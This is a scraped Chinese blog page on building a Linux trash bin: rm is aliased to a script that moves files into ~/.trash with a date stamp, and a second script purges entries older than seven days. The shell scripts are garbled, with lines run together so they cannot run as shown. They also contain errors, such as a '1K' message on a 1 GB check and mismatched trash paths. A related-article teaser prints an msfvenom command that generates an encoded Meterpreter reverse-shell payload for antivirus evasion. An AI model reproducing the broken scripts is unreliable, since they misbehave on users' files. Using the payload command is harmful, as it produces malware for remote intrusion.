当前位置: 首页 > news >正文

给自己Linux搞个『回收站』,防止文件误删除

linux没有像windows里一样的回收站,工作时候删除文件容易不小心删错,造成麻烦的后果。所以给自己整了个回收站:

文件删除,新建~/opts/move_to_trash.sh,然后在里面新增,将${your_name}改成你的用户名。同时在~/.bashrc中alias rm命令到这个脚本,即是alias rm='sh ~/opts/move_to_trash.sh',别忘了source ~/.bashrc使其生效。 在删除的时候,会在原文件名字后面新增删除时的时间戳信息。

#!/bin/bash
PARA_CNT=$#
USER_HOME=/home/${your_name}
TRASH_DIR="${USER_HOME}/.trash"   # 指定垃圾箱目录
mkdir -p ${TRASH_DIR}
for i in $*; doif [ -f "$i" ] && [ `ls -l $i|awk '{print $5}'` -gt 1073741824 ]; thenecho "$i size is larger than 1K, can not delete it !"continuefiSTAMP=`date +%Y%m%d`      # 删除时间fileName=`basename $i`mv $i $TRASH_DIR/$fileName.$STAMP   # 删除文件命令,放到垃圾箱
done
echo "remove ${PARA_CNT} file/folder, fetch back if you need at ${TRASH_DIR}"

同时,可以考虑新增一个清除回收站的脚本,定期运行保证空间干净。由于保存了时间戳,时间超过当前7天的文件就可以删除掉了。

#!/bin/bashKEEP_DAY_DURATION=7TRASH_PATH="/data1/${your_name}/.trash"
current_date=$(date +%Y%m%d)
date_minus_10=$(date -d "$current_date -${KEEP_DAY_DURATION} days" +%Y%m%d)
ddl_timestamp=$(date -d "$date_minus_10" +%s)
echo "current date is ${current_date}, the files in trash before ${date_minus_10} will be COMPLETELY delete, are your sure?"
read -p "Do you want to continue? (y/n) " answercase ${answer} in[Yy]* )echo "deleting..."ls -l ${TRASH_PATH} | awk -F " " 'NF==9{print $NF}' > .tmpread -ra READ_LIST -d '' < .tmprm .tmpfor filename in "${READ_LIST[@]}";do filedate=`echo ${filename} | awk -F "." '{print $NF}'`filedate_stamp=`date -d "$filedate" +%s`if [ $filedate_stamp -lt $ddl_timestamp ]; thenabs_filename="${TRASH_PATH}/${filename}"/usr/bin/rm -rf ${abs_filename}echo "delete ${abs_filename}"fidone;;[Nn]* )echo "skip and exit"exit -1;;* )echo "not valid answer ${answer} and exit"exit -1;;
esac

相关文章:

给自己Linux搞个『回收站』,防止文件误删除

linux没有像windows里一样的回收站&#xff0c;工作时候删除文件容易不小心删错&#xff0c;造成麻烦的后果。所以给自己整了个回收站&#xff1a; 文件删除&#xff0c;新建~/opts/move_to_trash.sh&#xff0c;然后在里面新增&#xff0c;将${your_name}改成你的用户名。同时…...

Springboot接收参数的21种方式

前言 最近一直在忙着开发项目(ps:其实有些摆烂),好久没有更新博客了,打开csdn一看好多网友留言私信,继上篇博客(我是如何实现HttpGet请求传body参数的!),网友议论纷纷,各抒起见。今天正好抽出时间总结一下Springboot接受参数的21种方式(Post、Get、Delete),一并…...

打造出色开发者体验的十大原则

大约十年前我是一名CIO&#xff0c;当时我在评估一种技术解决方案&#xff0c;向潜在供应商的代表讲明了我们的主要需求。他展示了该公司的至少三款产品。每种工具都有各自的用户体验、开发方法和学习要求&#xff0c;但是解决我们的业务需求同时需要这三种工具。作为CIO&#…...

Vue3_对接腾讯云COS_大文件分片上传和下载

目录 一、腾讯云后台配置 二、安装SDK 1.script 引入方式 2.webpack 引入方式 三、文件上传 1.new COS 实例 2.上传文件 四、文件下载 腾讯云官方文档&#xff1a; 腾讯云官方文档https://cloud.tencent.com/document/product/436/11459 一、腾讯云后台配置 1.登录 对…...

python免杀--base64加密(GG)

单层加密都GG~ 目录 cs生成个python的payload 将shellcode进行base64编码 执行上线代码 cs生成个python的payload msfvenom -p windows/meterpreter/reverse_tcp --encrypt base64 lhostIP lport6688 -f c cs生成c的也行. 将shellcode进行base64编码 import base64code …...

Python版与Java版城市天气信息爬取对比分析

在对比Python版和Java版城市天气信息爬取时&#xff0c;我们需要考虑多个方面&#xff0c;包括语言特性、库支持、代码简洁性、执行效率以及维护成本等。以下是对这两个版本进行的一些对比分析&#xff1a; 1. 语言特性 Python&#xff1a; 易于学习&#xff1a;Python的语法清…...

CSS真题合集(二)

CSS真题合集&#xff08;二&#xff09; 11. css3新增特性12. css3动画12.1 关键帧动画 (keyframes)12.2 animation12.3 transition12.4 transform 13. grid网格布局13.1 使用display: grid或display: inline-grid的HTML元素。13.2 定义网格13.3 13.4 自动填充和自动放置13.4 对…...

长期出汗困扰你?可能是肾合出了问题

想象一下&#xff0c;我们的身体是一座繁茂的秘密花园&#xff0c;每一寸肌肤、每一个细胞都是花园里的一朵花、一片叶。汗水&#xff0c;则是这花园中无声的语言&#xff0c;它讲述着我们的健康与否&#xff0c;也揭示着身体内部的微妙变化。 在炎炎夏日&#xff0c;身体如盛开…...

Jmeter函数二次开发说明

jmeter 二次开发使用 jmeter二次开发实现方法 使用maven依賴进行开发 导入jmeter的maven依赖&#xff0c;需要和你使用的jmeter版本一致。 <!-- https://mvnrepository.com/artifact/org.apache.jmeter/ApacheJMeter_core --> <dependency><groupId>org.ap…...

重新学习STM32(1)GPIO

概念简介 GPIO 是通用输入输出端口的简称&#xff0c;简单来说就是 STM32 可控制的引脚。STM32 芯片通过 GPIO 引脚与外部设备连接起来&#xff0c;从而实现与外部通讯、控制以及数据采集的功能。 GPIO被分成很多组&#xff0c;比如 GPIOA和GPIOB等。所有的 GPIO引脚都有基本的…...

React+TS前台项目实战(二)-- 路由配置 + 组件懒加载 + Error Boundary使用

文章目录 前言一、路由配置和懒加载lazy的使用二、TS版本Error Boundary组件封装三、在layout组件中使用Suspense组件和错误边界组件总结 前言 本文将详细介绍项目中的页面路由配置和异步组件懒加载处理&#xff0c;以提高用户体验&#xff0c;实现过渡效果。 一、路由配置和懒…...

成为电商低价神秘顾客访问员的必备条件(深圳神秘顾客公司)

电商低价神秘顾客需要具备以下条件&#xff0c;以确保能够执行有效的调查任务并为企业提供有价值的反馈&#xff1a; 1、细致的观察能力&#xff1a;神秘顾客访问员需要具备细致的观察能力&#xff0c;能够全面、细致地观察电商平台的购物流程、商品详情、服务细节等。这包括注…...

现货黄金交易多少克一手?国内外情况大不同

如果大家想参与国际市场上的现货黄金交易&#xff0c;就应该从它交易细则的入手&#xff0c;先彻底认识这个品种&#xff0c;因为它是来自欧美市场的投资方式&#xff0c;所以无论是从合约的计的单位&#xff0c;计价的货币&#xff0c;交易的具体时间&#xff0c;以及买卖过程…...

LNMP与动静态网站介绍

Nginx发展 Nginx nginx http server Nginx是俄罗斯人 Igor Sysoev(伊戈尔.塞索耶夫)开发的一款高性能的HTTP和反向代理服务器。 Nginx以高效的epoll.kqueue,eventport作为网络IO模型&#xff0c;在高并发场景下&#xff0c;Nginx能够轻松支持5w并发连接数的响应&#xff0c;并…...

教育小程序开发:技术实现与实践案例

随着信息技术的不断进步&#xff0c;教育小程序在教育领域的应用越来越广泛。教育小程序开发不仅可以提高教学效率&#xff0c;还能够提供个性化的学习体验。本文将以技术代码为例&#xff0c;详细介绍教育小程序开发的关键技术和实践案例&#xff0c;帮助开发者更好地理解和实…...

LeetCode 746.使用最小花费爬楼梯

题目&#xff1a; 给你一个整数数组 cost &#xff0c;其中 cost[i] 是从楼梯第 i 个台阶向上爬需要支付的费用。一旦你支付此费用&#xff0c;即可选择向上爬一个或者两个台阶。 你可以选择从下标为 0 或下标为 1 的台阶开始爬楼梯。 请你计算并返回达到楼梯顶部的最低花费…...

软件设计模式概述

一 软件模式概述 软件设计模式是在软件开发过程中经过验证的、可重复使用的最佳实践。 它们提供了解决常见设计问题的模板和指导方针&#xff0c;有助于开发人员编写高质量、可维护和可扩展的代码。 软件设计模式通常基于面向对象的编程范式&#xff0c;并利用封装、…...

短剧片源火爆,千金难求好剧源

前言 在当今快节奏的生活中&#xff0c;短剧以其精悍的篇幅、吸睛的剧情和便捷的观看方式&#xff0c;异军突起&#xff0c;吸引了大量观众的关注和喜爱。这些短剧不仅让人们在忙碌的间隙轻松娱乐&#xff0c;更以其高潮迭起的情节设计&#xff0c;让观众在短时间内便能体验到…...

MES系统定制 | 生产调度车间排班计划/MES排程排产

MES系统是一种集成化的生产信息化管理系统&#xff0c;通过实时收集和分析车间生产数据&#xff0c;帮助企业实现生产过程的自动化控制和监测。它可以跟踪生产计划、设备状态、物料流动等关键指标&#xff0c;并提供实时报表和决策支持。在这个系统中&#xff0c;车间班次排班是…...

【Anaconda】 anaconda常用命令总结

【Anaconda】 anaconda常用命令总结 一、创建虚拟环境二、激活/使用/进入某个虚拟环境三、退出当前环境四、复制某个虚拟环境五、删除某个环境六、查看当前所有环境七、查看当前虚拟环境下的所有安装包八、安装或卸载包(进入虚拟环境之后&#xff09;九、分享虚拟环境十、源服务…...

【大模型RAG】拍照搜题技术架构速览:三层管道、两级检索、兜底大模型

摘要 拍照搜题系统采用“三层管道&#xff08;多模态 OCR → 语义检索 → 答案渲染&#xff09;、两级检索&#xff08;倒排 BM25 向量 HNSW&#xff09;并以大语言模型兜底”的整体框架&#xff1a; 多模态 OCR 层 将题目图片经过超分、去噪、倾斜校正后&#xff0c;分别用…...

第19节 Node.js Express 框架

Express 是一个为Node.js设计的web开发框架&#xff0c;它基于nodejs平台。 Express 简介 Express是一个简洁而灵活的node.js Web应用框架, 提供了一系列强大特性帮助你创建各种Web应用&#xff0c;和丰富的HTTP工具。 使用Express可以快速地搭建一个完整功能的网站。 Expre…...

业务系统对接大模型的基础方案:架构设计与关键步骤

业务系统对接大模型&#xff1a;架构设计与关键步骤 在当今数字化转型的浪潮中&#xff0c;大语言模型&#xff08;LLM&#xff09;已成为企业提升业务效率和创新能力的关键技术之一。将大模型集成到业务系统中&#xff0c;不仅可以优化用户体验&#xff0c;还能为业务决策提供…...

python打卡day49

知识点回顾&#xff1a; 通道注意力模块复习空间注意力模块CBAM的定义 作业&#xff1a;尝试对今天的模型检查参数数目&#xff0c;并用tensorboard查看训练过程 import torch import torch.nn as nn# 定义通道注意力 class ChannelAttention(nn.Module):def __init__(self,…...

51c自动驾驶~合集58

我自己的原文哦~ https://blog.51cto.com/whaosoft/13967107 #CCA-Attention 全局池化局部保留&#xff0c;CCA-Attention为LLM长文本建模带来突破性进展 琶洲实验室、华南理工大学联合推出关键上下文感知注意力机制&#xff08;CCA-Attention&#xff09;&#xff0c;…...

中南大学无人机智能体的全面评估!BEDI:用于评估无人机上具身智能体的综合性基准测试

作者&#xff1a;Mingning Guo, Mengwei Wu, Jiarun He, Shaoxian Li, Haifeng Li, Chao Tao单位&#xff1a;中南大学地球科学与信息物理学院论文标题&#xff1a;BEDI: A Comprehensive Benchmark for Evaluating Embodied Agents on UAVs论文链接&#xff1a;https://arxiv.…...

【解密LSTM、GRU如何解决传统RNN梯度消失问题】

解密LSTM与GRU&#xff1a;如何让RNN变得更聪明&#xff1f; 在深度学习的世界里&#xff0c;循环神经网络&#xff08;RNN&#xff09;以其卓越的序列数据处理能力广泛应用于自然语言处理、时间序列预测等领域。然而&#xff0c;传统RNN存在的一个严重问题——梯度消失&#…...

如何在看板中有效管理突发紧急任务

在看板中有效管理突发紧急任务需要&#xff1a;设立专门的紧急任务通道、重新调整任务优先级、保持适度的WIP&#xff08;Work-in-Progress&#xff09;弹性、优化任务处理流程、提高团队应对突发情况的敏捷性。其中&#xff0c;设立专门的紧急任务通道尤为重要&#xff0c;这能…...

【SQL学习笔记1】增删改查+多表连接全解析(内附SQL免费在线练习工具)

可以使用Sqliteviz这个网站免费编写sql语句&#xff0c;它能够让用户直接在浏览器内练习SQL的语法&#xff0c;不需要安装任何软件。 链接如下&#xff1a; sqliteviz 注意&#xff1a; 在转写SQL语法时&#xff0c;关键字之间有一个特定的顺序&#xff0c;这个顺序会影响到…...

.Net Framework 4/C# 关键字(非常用,持续更新...)

一、is 关键字 is 关键字用于检查对象是否于给定类型兼容,如果兼容将返回 true,如果不兼容则返回 false,在进行类型转换前,可以先使用 is 关键字判断对象是否与指定类型兼容,如果兼容才进行转换,这样的转换是安全的。 例如有:首先创建一个字符串对象,然后将字符串对象隐…...